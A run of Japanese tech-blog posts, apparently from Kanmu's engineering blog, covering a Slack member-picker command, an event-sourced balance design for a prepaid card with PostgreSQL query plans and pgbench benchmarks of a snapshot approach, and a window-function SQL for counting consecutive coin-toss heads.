/pick other 朝会だよ! を実行すれば、チャンネルに属している人の中から一人が選ばれてメンションされます。
(otherは任意のタスク的な意味なのであまり気にしないでください。)

このアプリはかなり融通がきく仕様になっていて、

  • 固定メンバーのA,B,Cさんはランダム候補から常に除く
  • Dさんを一度だけ除く
  • 2人選ぶ

などのオプションを付与できます。
/pick help を見れば簡単にわかるのでなにか困ったときにはヘルプを見てみてください。
最後にコマンド実行例画像を添えて終わりたいと思います。

/pick ot :asakai: -choose 2 (←2人選ぶ) コマンド実行例

f:id:kanmu-tech:20210910181802p:plain
picker

お決まりの

積極採用中です!!

kanmu.co.jp

決済システムの残高管理周りの DB 設計と戦略

エンジニアの佐野です。今日はカンムの決済システムでユーザの残高管理をどうやっているかについて書きます。

カンムの製品であるバンドルカードはプリペイド方式のカードです。ユーザによる入金、店舗での利用、運営事由の操作などによりユーザの残高が増減します。このような残高の管理について単純に考えると user_id と balance と updated_at あたりをもったテーブルを用意して balance と updated_at を更新していく方法があるかもしれません。しかしながらカンムでは残高を管理するテーブルを持たず、これらイベントの履歴のみで残高を管理しています。以下、本記事ではこれらユーザの残高が増減するイベントのことをトランザクションと呼びます。ここでは DB の Transaction Processing を意味しません。

本記事のポイントは

  • 残高を管理をするテーブルは作らず、トランザクション履歴のsumで都度残高を算出している
  • そのクエリは遅くなるのでは?とよく言われますがそんなことはない、雰囲気で判断するのではなく実行計画とベンチマークで判断しましょう
  • とはいいつつデータ量が増えたときの戦略を考案しておきましょう

です。想定読者は DB の論理設計を行う人間です。

  • 前提知識
  • トランザクション周りのDB設計
  • 残高算出のクエリとその実行計画
  • データ量が増えたときの戦略
  • まとめ

の順で話していきます。


1. 前提知識

業務用語や専門用語が出てくるため、まずは読んでもらうための前提知識をいくつか説明します。

  • トランザクションの種類
  • オーソリとクリアリング
  • Available Balance と Ledger Balance という2つの残高の概念

1.1. トランザクションの種類

冒頭で述べた通り、入金、決済などユーザの残高が動くイベントをここではトランザクションと呼びます。業務上、トランザクションは5つの種別に分けています。

  • 入金
    • ユーザがバンドルカードに入金するときに発生します。
    • 残高を加算します。
  • 手数料徴収
    • 手数料です。例えばバンドルカードに会員登録をするとECサイトなどで使えるバーチャルカードが手に入ります。実店舗で使いたい場合はリアルカードを申請していただく必要があります。現在リアルカード申請時にはいくらか手数料をいただいており、その申請時に発生します。
    • 残高を減算します。
  • 運営事由
    • 運営判断によりユーザの残高を増減させることがあります。例えば退会時、インセンティブの付与時など。
    • 残高を加算することもありますが減算することもあります。
  • オーソリ
    • 買い物をすると実店舗/ECサイトなどからカード番号や有効期限に加えて決済金額が飛んできます。それらの情報を使ってカンムのシステムは決済可能かどうかを判断します。Authorization / 仮売り上げ / 与信と呼ばれたりします。
    • 残高を減算します。返品されたときは加算することもあります。
  • クリアリング
    • オーソリで決済OKになったものについて、後日店舗から確定伝票が送信されます。これが届くとカンムのシステムは対応するオーソリを探して、その金額を「確定」とします。Clearing / 実売り上げと呼ばれたりします。
    • オーソリで減算または加算した残高をさらに減算または加算することがあります。どういうことだ?と感じると思うので次節オーソリとクリアリングで説明します。

1.2. オーソリとクリアリング

f:id:kanmu-tech:20210627174858p:plain

こちらの図は筆者が2年前に書いたものなのですが、この図の通りカード決済は2フェーズに分かれています。店舗で決済を行うとまずはオーソリが飛んできて残高が引かれますが、このオーソリの金額は仮の金額として扱われます(フェーズ1)。そして後日飛んでくるクリアリングの金額が実際の決済金額として扱われます(フェーズ2)。店舗での決済金額が仮で、後日改めて飛んでくるものが実際の金額とはどういうことだ?店舗で買ったときの値段=実売り上げではないのか?と思うかもしれません。その通り、ほとんどの場合において店舗での決済金額である仮売り上げと、実売り上げの金額はイコールになります。

しかしながらいくつかのケースにおいては仮売り上げと実売り上げで金額が異なる場合があります。卑近な例でいうと海外で決済して為替変動の影響を受けた場合になります。ある日、1ドル100円のものを購入したとします。このときオーソリは100円です。後日1ドル101円になったとします。その日にクリアリングが発生すると101円になります。結果として100円の買い物をしましたが101円を請求されます。また、筆者がドッグフーディングをした結果ですが、海外のレストランでのチップの支払いはオーソリに入っていなくて、クリアリングに上乗せされてくるようでした。なぜ2フェーズに分かれているのかはカード業界の歴史の話になりますのでここでは割愛しますが、このような仕組みがあるため、オーソリとクリアリングで金額が異なることがあり、後発のクリアリングを正として残高の補正が行われます。

1.3. Available Balance と Ledger Balance という2つの残高の概念

最後の蘊蓄です。ここまでは残高の増減が発生するイベント、トランザクションについて説明しました。それらのトランザクションに従って残高という数字を単純に増減すれば良いのですが、カード決済には Available Balance(AB), Ledger Balance(LB) という2つの残高の概念があり、トランザクションによってどちらを増減するかを判断しなければなりません。

長くなってしまうので詳細は省きますが、仮の金額であるオーソリで増減するのが Available Balance, 確定金額であるクリアリングで増減するのが Ledger Balance だと思ってください。

以下、各種トランザクションが発生したときの Available Balance と Ledger Balance の動きの例を示します。

Time Transaction Amount AB LB 説明
2021/6/27 10:00 入金 +1000 1000 1000 まずバンドルカードを使うために1000円の入金を行う
2021/6/27 11:00 アルカード発行手数料 -600 400 400 アルカード発行を申請、600円の申請手数料が引かれる
2021/6/28 09:00 オーソリ -130 270 400 130円の買い物を行う
2021/6/30 02:00 クリアリング -130 270 270 実売り上げが届き、130円として確定する

入金(+1000円) -> リアルカード発行手数料(-600円) -> 130円の買い物(-130円) -> クリアリング (-130円)というトランザクションの発生と残高の推移を表しています。 ポイントとしては先ほど書いた通りオーソリでは基本的に Available Balance のみが引かれます。クリアリングでは Ledger Balance が引かれますが Available Balance が引かれることもあります。このケースでは仮売り上げ=実売り上げなのでLBのみが引かれています。クリアリングで Available Balance が変化するときは前節で説明した通り、オーソリと金額が異なるときになります。

2. トランザクション周りのDB 設計

さて、DB設計です。これらのトランザクションを管理する実際のテーブルを見てみます。

関連するテーブルのみを抜き出すと、load, charge_fee, admin_fund, authorization, clearing が存在します。これらテーブルは5つの種別に分けたトランザクションにそれぞれ対応しています。load は入金、charge_fee は手数料、admin_fund は運営事由の残高増減、authorization は オーソリ、 clearing は クリアリングです。 card_id, card_holder_id というカラムが見えますが、card_id はカード情報を管理する card への外部キー、ユーザに似た概念であるカード所持者を管理する card_holder への外部キーになります。誰のどのカードにどのトランザクションが発生したかの関連を持たせていることを意味します。card_holder_id にはインデックスが貼られています。authorization テーブルには card_holder_id と response_code の複合インデックスが貼られています。

                                        Table "load"
     Column     |           Type           | Collation | Nullable |             Default
----------------+--------------------------+-----------+----------+----------------------------------
 id             | bigint                   |           | not null | nextval('load_id_seq'::regclass)
 card_id        | bigint                   |           | not null |
 card_holder_id | bigint                   |           | not null |
 amount         | numeric                  |           | not null |
 loaded_at      | timestamp with time zone |           | not null |

load は amout に入金金額が入ります。入金した金額はAB/LB双方に作用するので入金トランザクションの金額は amount というカラムのみで管理します。

                                        Table "charge_fee"
     Column     |           Type           | Collation | Nullable |                Default
----------------+--------------------------+-----------+----------+----------------------------------------
 id             | bigint                   |           | not null | nextval('charge_fee_id_seq'::regclass)
 card_id        | bigint                   |           | not null |
 card_holder_id | bigint                   |           | not null |
 amount         | numeric                  |           | not null |
 collected_at   | timestamp with time zone |           | not null |

charge_fee は amout に手数料金額が入ります。こちらもAB/LB双方に作用するのでこちらのトランザクションの金額も amount というカラムのみで管理します。

                                         Table "admin_fund"
      Column      |           Type           | Collation | Nullable |                Default
------------------+--------------------------+-----------+----------+----------------------------------------
 id               | bigint                   |           | not null | nextval('admin_fund_id_seq'::regclass)
 card_id          | bigint                   |           | not null |
 card_holder_id   | bigint                   |           | not null |
 available_amount | numeric                  |           | not null |
 ledger_amount    | numeric                  |           | not null |
 executed_at      | timestamp with time zone |           | not null |

admin_fund については柔軟性を持たせていて available_amount, ledger_amount 2つのカラムを用意して AB/LB にそれぞれ異なる金額を作用できるようにしてあります。

                                                   Table "authorization"
                Column                 |           Type           | Collation | Nullable |                   Default
---------------------------------------+--------------------------+-----------+----------+----------------------------------------------
 id                                    | bigint                   |           | not null | nextval('authorization_id_seq'::regclass)
 card_id                               | bigint                   |           | not null |
 card_holder_id                        | bigint                   |           | not null |
 transaction_amount                    | numeric                  |           | not null |
 response_code                         | text                     |           | not null |
 received_at                           | timestamp with time zone |           | not null |

オーソリは基本的には AB のみに作用するので金額は transaction_amount でのみ管理します。transaction_amount というカラム名はいろいろあってこうなっています(触れないでください)。オーソリは他のトランザクションと異なり、 OK/NG という概念が存在するため response_code というカラムをもっています。オーソリの失敗、成功を管理します。

                                                 Table "clearing"
              Column               |           Type           | Collation | Nullable |                      Default
-----------------------------------+--------------------------+-----------+----------+----------------------------------------------------
 id                                | bigint                   |           | not null | nextval('clearing_id_seq'::regclass)
 card_id                           | bigint                   |           | not null |
 card_holder_id                    | bigint                   |           | not null |
 available_amount                  | numeric                  |           | not null |
 ledger_amount                     | numeric                  |           | not null |
 created_at                        | timestamp with time zone |           | not null |

クリアリングは基本的にはLBに作用しますが、ABにも作用することがあるため available_amount, ledger_amount 2つのカラムを用意しています。

これらのテーブルには INSERT と SELECT しか行いません。各トランザクションが発生すると、トランザクション種別に応じたテーブルにひたすらデータを INSERT していきます。ユーザがアプリから見ることができる入金履歴や決済履歴、運営が管理画面から確認するユーザのトランザクション履歴はこれらのテーブルをすべて舐めて timestamp で order by しています。そして残高はこれらのテーブルの SUM を都度とることで表現します。

残高のみを管理するテーブルを用意しても良かったかもしれませんが、トランザクションの合算が残高の正解になるためわざわざ用意する必要がありません。正規化の観点からも計算可能な重複は DB からは省くべきなので教科書的には正しいです。またレビュー時に残高を更新しつつトランザクションをちゃんと INSERT しているか?などケアしなければならないポイントが増えます。これは経験則になってしまいますが、残高テーブルの数値とトランザクションの計算結果が合わない、などという事案が起きるかもしれません。

もちろん残高テーブルを単体で用意するメリットもあって、DB参照時にわかりやすい、トランザクションテーブルのSUMよりは確実に早いなどがあります。

このDBの設計を行ったときは全エンジニアで数日にわたって議論がなされました。議論の結果、トランザクションのSUMで良いとなったわけですがここではクエリのコストにフォーカスをあてて本当に遅いのか見てみます。

3. 残高算出のクエリとその実行計画

ではその残高計算のクエリはどうなっているでしょうか。実際のクエリは下記の通りです。

  SELECT COALESCE(SUM(available), 0) AS available_balance
        , COALESCE(SUM(ledger), 0) AS ledger_balance
    FROM (
      SELECT amount AS available, amount AS ledger
      FROM load
      WHERE card_holder_id = $1
    UNION ALL
      SELECT amount AS available, amount AS ledger
      FROM charge_fee
      WHERE card_holder_id = $1
    UNION ALL
      SELECT available_amount AS available, ledger_amount AS ledger
      FROM admin_fund
      WHERE card_holder_id = $1
    UNION ALL
      SELECT transaction_amount AS available, 0 AS ledger
      FROM authorization
      WHERE card_holder_id = $1 AND response_code = '00'
    UNION ALL
      SELECT available_amount AS available, ledger_amount AS ledger
      FROM clearing
      WHERE card_holder_id = $1
  ) AS _

すべてのトランザクションテーブルを card_holder_id でひっかけて、それぞれの金額を意味するカラムに別名をつけて UNION ALL して SUM をとります。

同じ商売をしているエンジニアの友人にもこのような設計とクエリについて話すと、遅そうだ、と言われます。ではここで実行計画を見てみます。本記事執筆時点で利用回数が多いユーザを card_holder_id に指定して、本番環境で実行計画をとった結果になります。

                                                                                     QUERY PLAN
------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 Aggregate  (cost=1709.56..1709.57 rows=1 width=64) (actual time=13.112..13.113 rows=1 loops=1)
   ->  Append  (cost=0.43..1701.67 rows=526 width=64) (actual time=0.025..10.796 rows=7535 loops=1)
         ->  Index Scan using ix_load_card_holder_id on load  (cost=0.43..124.50 rows=48 width=10) (actual time=0.024..0.250 rows=315 loops=1)
               Index Cond: (card_holder_id = XXXX)
         ->  Index Scan using ix_charge_fee_card_holder_id on charge_fee  (cost=0.42..9.81 rows=2 width=10) (actual time=0.008..0.012 rows=6 loops=1)
               Index Cond: (card_holder_id = XXXX)
         ->  Index Scan using ix_admin_fund_card_holder_id on admin_fund  (cost=0.42..12.07 rows=2 width=7) (actual time=0.007..0.023 rows=19 loops=1)
               Index Cond: (card_holder_id = XXXX)
         ->  Subquery Scan on "*SELECT* 4"  (cost=0.57..726.99 rows=214 width=36) (actual time=0.020..4.686 rows=3623 loops=1)
               ->  Index Scan using ix_authorization_card_holder_id_response_code on authorization  (cost=0.57..724.31 rows=214 width=8) (actual time=0.018..3.038 rows=3623 loops=1)
                     Index Cond: ((card_holder_id = XXXX) AND (response_code = '00'::text))
         ->  Index Scan using ix_clearing_card_holder_id on clearing  (cost=0.56..822.55 rows=260 width=7) (actual time=0.017..3.024 rows=3572 loops=1)
               Index Cond: (card_holder_id = XXXX)
 Planning Time: 0.308 ms
 Execution Time: 13.175 ms
(15 rows)

意図したインデックスがちゃんと使われており、たいして遅くもありません。Row数は本記事執筆時点で各テーブル数千万〜数億です。またDBの総サイズは500GB程度、DBのマシンスペックは AWS RDS for PostgreSQL の db.m4.xlarge です。shared_buffers などには常識的な設定がされています。

トランザクションの総件数は億のオーダーですがインデックスが効いていてサクサク返ってきます。ただサイズが増えることによるコスト増は懸念しています。

4. データ量が増えたときの戦略

トランザクションの SUM で十分運用に耐えうることがわかりました。しかし今述べた通り、いずれは限界がきそうです。そのときどうするのかの戦略を練っておきます。将来的にはトランザクションのスナップショットをとる方式を採用するつもりでいます。他にはDB分割やスケールアップもあります。

4.1. トランザクションのスナップショットとは

先ほどのクエリでインデックスは効いていますが、ユーザが1年2年3年...と使うとフェッチする件数が増えます。データ転送量増加、SUMの計算コスト、単純なDB容量増加によるディスクアクセスなどによりパフォーマンスは徐々に悪化していきます。

スナップショット方式とは、次のようなテーブルを用意してトランザクションのある時点での残高の状態を記録し、この balance_snapthot テーブルに記録された残高と、それの created_at 以降のトランザクションを取得するようにしてフェッチする件数を減らす方式です。残高はこれらの結果を足し合わせて算出されます。

                                         Table "balance_snapshot"
      Column       |           Type           | Collation | Nullable |                   Default   
-------------------+--------------------------+-----------+----------+----------------------------------------------
 id                | bigint                   |           | not null | nextval('balance_snapshot_id_seq'::regclass)
 card_holder_id    | bigint                   |           | not null |
 available_balance | numeric                  |           | not null |
 ledger_balance    | numeric                  |           | not null |
 created_at        | timestamp with time zone |           | not null |

残高計算クエリも少し変更します。 WHERE 句にそれぞれのトランザクションテーブルのタイムスタンプを追加します。 card_holder_id との複合インデックスも貼ります。

  SELECT COALESCE(SUM(available), 0) AS available_balance
        , COALESCE(SUM(ledger), 0) AS ledger_balance
    FROM (
      SELECT amount AS available, amount AS ledger
      FROM load
      WHERE card_holder_id = $1 AND loaded_at > $2
    UNION ALL
      SELECT amount AS available, amount AS ledger
      FROM charge_fee
      WHERE card_holder_id = $1 AND collected_at > $2
    UNION ALL
      SELECT available_amount AS available, ledger_amount AS ledger
      FROM admin_fund
      WHERE card_holder_id = $1 AND executed_at > $2
    UNION ALL
      SELECT transaction_amount AS available, 0 AS ledger
      FROM authorization
      WHERE card_holder_id = $1 AND response_code = '00' AND received_at > $2
    UNION ALL
      SELECT available_amount AS available, ledger_amount AS ledger
      FROM clearing
      WHERE card_holder_id = $1 AND created_at > $2
  ) AS _

スナップショットテーブルとトランザクションテーブルを使った残高算出の擬似コードは次のようになります。

snapshot, found = get_latest_snapshot(card_holder_id)
if found {
  available_balance, ledger_balance = get_balance(card_holder_id, snapshot.created_at)
  return available_balance + snapshot.available_balance, ledger_balance + snapshot.ledger_balance
} else {
  available_balance, ledger_balance = get_balance(card_holder_id, '1970-01-01 00:00:00')
  return available_balance, ledger_balance
}

残高計算を行う箇所にてクエリの本数は1本増えますが、 balance_snapshot テーブルへのクエリは単純SELECTになるためたいしたコストはないと見込まれます。

4.2. スナップショット方式を採用した場合のベンチマーク

ちゃんとベンチマークを取って検証してみます。以下、ベンチマークテストの条件になります。

  • pgbench を使う
  • クエリは残高計算のクエリを3分間、where 句の card_holder_id をランダムに変更して実施
  • それぞれのシナリオ実施前にRDS 再起動する
  • RDS再起動後に一回 pgbench を流すがその結果は無視して、続く5回のpgbench試行をテスト結果とする
  • 実施前に統計情報はリセットする
  • RDS は本番と同スペックとして本番と同程度のデータを入れておく

pgbench は負荷クライアント用のインスタンスを建てて下記のコマンドで実行します。4並列(-c 4)で3分(-T 180)とします。

pgbench -h <host> -p <port> -U <username> -f balance.bench -r -c 4 -T 180

balance.bench は負荷を与えるシナリオが書かれたファイルで本試験では次のようにします。 \set ch random(1, 10000000) は、 ch という変数に 1から10000000のランダム値を与えるコマンドで、残高計算クエリの WHERE 句を WHERE card_holder_id = :ch としておくことで ch が毎回ランダムに選択されます。

BEGIN;
\set ch random(1, 10000000)

<残高計算クエリ> 
END;

統計情報もベンチの結果として参考にします。下記クエリでキャッシュヒット率を、

SELECT relname
       , round(heap_blks_hit*100/(heap_blks_hit+heap_blks_read), 2) AS heap_cache_hit_ratio
       , round(idx_blks_hit*100/(idx_blks_hit+idx_blks_read), 2) AS idx_cache_hit_ratio
FROM pg_statio_user_tables
WHERE schemaname = '<schema_name>'
  AND heap_blks_read > 0
ORDER BY heap_cache_hit_ratio,
         relname;

下記クエリでインデックスのキャッシュヒット率をベンチマーク実施後に取得します。

SELECT relname
       , indexrelname
       , round(idx_blks_hit*100/(idx_blks_hit+idx_blks_read), 2) AS idx_cache_hit_ratio
FROM pg_statio_user_indexes
WHERE schemaname = '<schema_name>'
  AND idx_blks_read > 0
ORDER BY idx_cache_hit_ratio,
         relname;

4.3. ベンチマーク結果

4.3.1. スナップショット方式適用前(現在の状態)
  • pgbench
n tps(3min) avg (msec)
1 418 6.396
2 422 6.306
3 422 6.293
4 427 6.176
5 437 5.944
  • キャッシュヒット率
        relname         | heap_cache_hit_ratio | idx_cache_hit_ratio
------------------------+----------------------+---------------------
 authorization          |                 8.00 |               93.00
 clearing               |                10.00 |               94.00
 admin_fund             |                30.00 |               99.00
 charge_fee             |                30.00 |               99.00
 load                   |                31.00 |               94.00
  • インデックスのキャッシュヒット率
        relname         |               indexrelname                        | idx_cache_hit_ratio
------------------------+---------------------------------------------------+---------------------
 authorization          | ix_authorization_card_holder_id_response_code     |    93.00
 load                   | ix_load_card_holder_id                            |    94.00
 clearing               | ix_clearing_card_holder_id                        |    94.00
 admin_fund             | ix_admin_fund_card_holder_id                      |    99.00
 charge_fee             | ix_charge_fee_card_holder_id                      |    99.00
  • スロークエリ数

12 (1秒以上のクエリ発生数)

4.3.2. スナップショット方式適用後
  • pgbench
n tps(3min) avg (msec)
1 717 2.406
2 734 2.287
3 743 2.208
4 750 2.163
5 752 2.142
  • キャッシュヒット率
        relname         | heap_cache_hit_ratio | idx_cache_hit_ratio
------------------------+----------------------+---------------------
 authorization          |                54.00 |               96.00
 clearing               |                65.00 |               97.00
 charge_fee             |                92.00 |               99.00
 load                   |                94.00 |               98.00
  • インデックスのキャッシュヒット率
        relname         |                         indexrelname                         | idx_cache_hit_ratio
------------------------+--------------------------------------------------------------+---------------------
 authorization          | ix_authorization_card_holder_id_response_code_received_at    |               96.00
 clearing               | ix_clearing_card_holder_id_created_at                        |               97.00
 load                   | ix_load_card_holder_id_loaded_at                             |               98.00
 admin_fund             | ix_admin_fund_card_holder_id_executed_at                     |               99.00
 charge_fee             | ix_charge_fee_card_holder_id_collected_at                    |               99.00
  • スロークエリ数

6 (1秒以上のクエリ発生数)

4.3. ベンチマーク考察

スナップショット方式を採用しつつインデックスを適切に貼ることでパフォーマンス、キャッシュヒット率とも改善が得られました。今後パフォーマンスが悪化するようであれば解の一つとなりえることを数値で示すことができたと言えます。ちなみに PostgreSQL の shared_buffers などのパラメータを変更したベンチも走らせましたが、このケースにおいては shared_buffers の変更は特に効果が得られず、 RDS のデフォルト値である物理メモリの 25% 程度(PostgreSQL 公式の推奨値でもある)がもっともパフォーマンスが良かったです。

現在のキャッシュヒット率が思ったより低いのでさっさとスナップショット方式にしてしまうのがいいかもしれません。今のところ致命的なユーザ影響は出ていませんが...。スケールアップもそろそろしてもいいかもしれません。

5. まとめ

  • 残高を履歴のみで表現する方式をとっているがクエリはサクサク返ってきます
  • クエリのコストは雰囲気で判断せずにオプティマイザに聞きましょう
  • DB運用の戦略を練っておきましょう
  • 戦略の判断も雰囲気で行うのではなくベンチマークをとるなど数字で判断しましょう

6. 最後に

仮に本記事が読まれた場合、同意が得られるかもしれませんし反論があるかもしれません。みなさんはどう考えますか?カンムではそういう考え方もあるな、ではこういう考え方はどうか?と議論できる人が合っている気がします。

会社のブログに記事を書くと言うことは最後にこれを書かなければなりません。採用しています↓

kanmu.co.jp

おわり

時点tにおける連続で結果xが出た回数(結果yが出たら回数はリセットされる)を出すSQLを書いた

カンムでCOOをしています、achikuです。

ニッチすぎて誰に話しても「?」となるが、とにかく理解できて嬉しかったSQLの話をする。

話しを簡単にする為にコイントスを用いた例題で説明する。

問題

複数回のコイントスの結果(試行ID、裏が出たか表が出たか、トスした時間)を記録したデータがある。このデータを用いて試行回数t回目において何回連続で表が出たかを出力したい。なお、一度裏が出たら連続で表が出た回数は0にリセットされる。

問題を表で表現する

最終形からイメージすると、大体以下のような事がしたい。試行回数t回目において連続でhead=trueである回数を出す。とにかく時系列に並べた際に時点tにおける連続表が出た回数が欲しい。

  • consecutive_head : 連続で表が出た回数

f:id:kanmu-tech:20210622213228p:plain
取得したい集合とコメント

解く為の考え方

まず完成形の集合を眺める。連続で表が出た回数は裏が出たらリセットされる。つまり、「裏が出る」というレコードでパーティションを作れれば良さそうな気がする。裏が出た累積回数と定義するとちょうど良さそう。ということで、Window関数を利用して良い感じにリセット出来ないかというところに行き着く。図で表すと以下のようなイメージ。

  • cumulative_tail : 累積裏が出た回数

f:id:kanmu-tech:20210622213316p:plain
青のラインがパーティション

小さく作って試す

CTEで小さく作って試すとアイディアが正しいのかどうかを手を動かしながら試しながら確認していけるのでとても良い。複雑なものを小さく分けて結果の正しさを確認していく行いはプログラムを書く際にとても役に立つ。以下はPostgreSQLで書いたがBigQueryでも少し修正すればいけるはず。

with

coin_toss(id, head, tossed_at) as (
  values
    (1, FALSE, '2021/06/22 10:00:00'::timestamp)
    , (2, FALSE, '2021/06/22 10:01:00'::timestamp)
    , (3, TRUE, '2021/06/22 10:02:00'::timestamp)
    , (4, FALSE, '2021/06/22 10:03:00'::timestamp)
    , (5, TRUE, '2021/06/22 10:04:00'::timestamp)
    , (6, TRUE, '2021/06/22 10:05:00'::timestamp)
    , (7, TRUE, '2021/06/22 10:06:00'::timestamp)
    , (8, FALSE, '2021/06/22 10:07:00'::timestamp)
    , (9, FALSE, '2021/06/22 10:08:00'::timestamp)
    , (10, TRUE, '2021/06/22 10:09:00'::timestamp)
    , (11, TRUE, '2021/06/22 10:10:00'::timestamp)
)

select
  c.id
  , c.head
  , c.tossed_at
  , sum(case when c.head = false then 1 else 0 end) over (order by c.id) as cumulative_tail
from coin_toss as c

これで上に乗せた図の cumulative_tail が出せる事は分かった。後は cumulative_tailパーティションを切って表が出た回数を試行順に累積していけば良い。

回答

with

coin_toss(id, head, tossed_at) as (
  values
    (1, FALSE, '2021/06/22 10:00:00'::timestamp)
    , (2, FALSE, '2021/06/22 10:01:00'::timestamp)
    , (3, TRUE, '2021/06/22 10:02:00'::timestamp)
    , (4, FALSE, '2021/06/22 10:03:00'::timestamp)
    , (5, TRUE, '2021/06/22 10:04:00'::timestamp)
    , (6, TRUE, '2021/06/22 10:05:00'::timestamp)
    , (7, TRUE, '2021/06/22 10:06:00'::timestamp)
    , (8, FALSE, '2021/06/22 10:07:00'::timestamp)
    , (9, FALSE, '2021/06/22 10:08:00'::timestamp)
    , (10, TRUE, '2021/06/22 10:09:00'::timestamp)
    , (11, TRUE, '2021/06/22 10:10:00'::timestamp)
)

, coin_toss_with_cumulative_tail as (
  select
    c.id
    , c.head
    , c.tossed_at
    , sum(case when c.head = false then 1 else 0 end) over (order by c.id) as cumulative_tail
  from coin_toss as c
)

select
  t.id
  , t.head
  , t.tossed_at
  , t.cumulative_tail
  , sum(case when t.head = true then 1 else 0 end) over (partition by t.cumulative_tail order by t.id) as consecutive_head
from coin_toss_with_cumulative_tail as t

どういう場合に使うのか

頻繁にツボから紅白の玉を取り出すことがある人達は便利に利用出来るSQLになっていると思う。それ以外にも例えばゲームを連続で何回成功したらその後n回の継続率に影響があるのか、連続何日サイトを訪れることでその後n日継続率に影響があるのか、等を調べる際にも使えるかもしれないが、ニッチな集計要件なので是非この機会にこのSQLを起点に分析を考えてみてみるのはいかがでしょう。

採用してます

「現場にある迫真の具体性を明らかにし、現状の課題を言語化/定量化し、チームの課題認識を揃える」という職を募集しています。データアナリストやマーケターと呼ばれることが多い職種なのですが、人によって定義がブレるので「現場にある迫真の具体性を明らかにし、現状の課題を言語化/定量化し、チームの課題認識を揃える」職としか言いようがないなと最近感じております。そのためにはそれぞれの専門領域はあれでも、定性調査だろうと、定量調査だろうと、効果検証だろうと、SQLを書くだろうと、Notebookを書くだろうと、なんでもやるチームです。以下を読むとやっていることがもう少し具体的になるかもしれません。

「あぁぁこのクエリ確かに面白いな!」と思ったら、achiku までお声掛けください!一緒にニッチな集計要件の話で盛り上がりましょう。